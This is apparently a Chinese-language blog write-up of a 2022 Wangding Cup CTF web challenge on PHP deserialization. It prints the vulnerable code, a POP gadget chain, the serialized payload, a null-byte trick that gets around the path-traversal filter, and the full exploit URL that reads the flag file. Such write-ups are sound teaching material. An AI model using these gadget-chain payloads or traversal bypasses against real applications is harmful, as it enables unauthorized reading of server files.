c1ay's blog

2022网鼎杯白虎组-web-php反序列化

字数统计: 682阅读时长: 3 min
2022/08/27 Share

2022网鼎杯白虎组-web-php反序列化

题目源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
<?php
class abaaba{
protected $DoNotGet;
public function __get($name){
$this->DoNotGet->$name = "two";
return $this->DoNotGet->$name;
}
public function __toString(){
return $this->Giveme;
}
}
class Onemore{
public $file;
private $filename = "one";
public function __construct(){
$this->readfile("images/def.jpg");
}
public function readfile($f){
$this->file = isset($f) ? $f : 'image'.$this->file;
echo file_get_contents(safe($this->file));
}
public function __invoke(){
return $this->filename->Giveme;
}
}
class suhasuha{
private $Giveme;
public $action;
public function __set($name, $value){
$this->Giveme = ($this->action)();
return $this->Giveme;
}
}
class One{
public $count;
public function __construct(){
$this->count = "one";
}
public function __destruct(){
echo "try ".$this->count." again";
}
}
function safe($path){
$path = preg_replace("/.*\/\/.*/", "", $path);
$path = preg_replace("/\..\..*/", "!", $path);
$path = htmlentities($path);
return strip_tags($path);
}
if(isset($_GET['game'])){
unserialize($_GET['game']);
}
else{
show_source(__FILE__);
}

pop链构造思路:

1
2
3
4
5
One类的__destruct,可控属性拼接字符串操作
->abaaba的__toString方法,Giveme属性不存在
->abaaba的__get方法,$this->DoNotGet->$name = "two";,属性赋值
->suhasuha的__set方法,函数调用且可控
->Onemore的readfile方法,任意文件读取

构造pop链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
class Onemore
{
public $file;
public function __construct(){
$this->file="/../index.php";
}
}
class suhasuha
{
private $Giveme;
public $action;
public function __construct(){
$this->action=array(new Onemore(),"readfile");
$this->Giveme="a";
}
}
class abaaba
{
protected $DoNotGet;
public function __construct(){
$this->DoNotGet=new suhasuha();
}
}
class One
{
public $count;
public function __construct(){
$this->count=new abaaba();
}
}
echo serialize(new One());
?>

payload:

1
O:3:"One":1:{s:5:"count";O:6:"abaaba":1:{S:11:"\00*\00DoNotGet";O:8:"suhasuha":2:{S:16:"\00suhasuha\00Giveme";s:1:"a";s:6:"action";a:2:{i:0;O:7:"Onemore":1:{s:4:"file";s:13:"/../index.php";}i:1;s:8:"readfile";}}}}

成功读取到了源码

目录穿越过滤绕过

文件读取正则绕过思路:

1
2
$path = preg_replace("/.*\/\/.*/", "", $path);
$path = preg_replace("/\..\..*/", "!", $path);

可知过滤规则:

.任意字符.->全部替换成!
任意字符//任意字符->全部替换成空

由于过滤规则,导致穿越目录出现麻烦,../../xxx会因为./.全部被替换成!,并且..//..//xxx会因为任意字符//任意字符被全部清空

问题转换:

除了/,还有哪些字符可以出现在./之间并且可以成功目录穿越的

windows下可以通过..\/..\/xxx../\../\xxx..\\..\\xxx,但是这里是linux

通过本地fuzz,发现%00空字符可以出现在./之间

mark

重新构造,成功穿越目录读取flag:

1
http://eci-2ze2703izi264xoty36f.cloudeci1.ichunqiu.com/index.php?game=O:3:%22One%22:1:{s:5:%22count%22;O:6:%22abaaba%22:1:{S:11:%22\00*\00DoNotGet%22;O:8:%22suhasuha%22:2:{S:16:%22\00suhasuha\00Giveme%22;s:1:%22a%22;s:6:%22action%22;a:2:{i:0;O:7:%22Onemore%22:1:{s:4:%22file%22;s:29:%22/../%00../%00../%00../%00../%00../%00flag%22;}i:1;s:8:%22readfile%22;}}}}

mark

flag{ce096f24-8fe5-41f0-b7ad-12c7c7b57235}

CATALOG
  1. 1. 2022网鼎杯白虎组-web-php反序列化
    1. 1.0.1. 题目源码如下:
    2. 1.0.2. pop链构造思路:
    3. 1.0.3. 构造pop链:
    4. 1.0.4. 目录穿越过滤绕过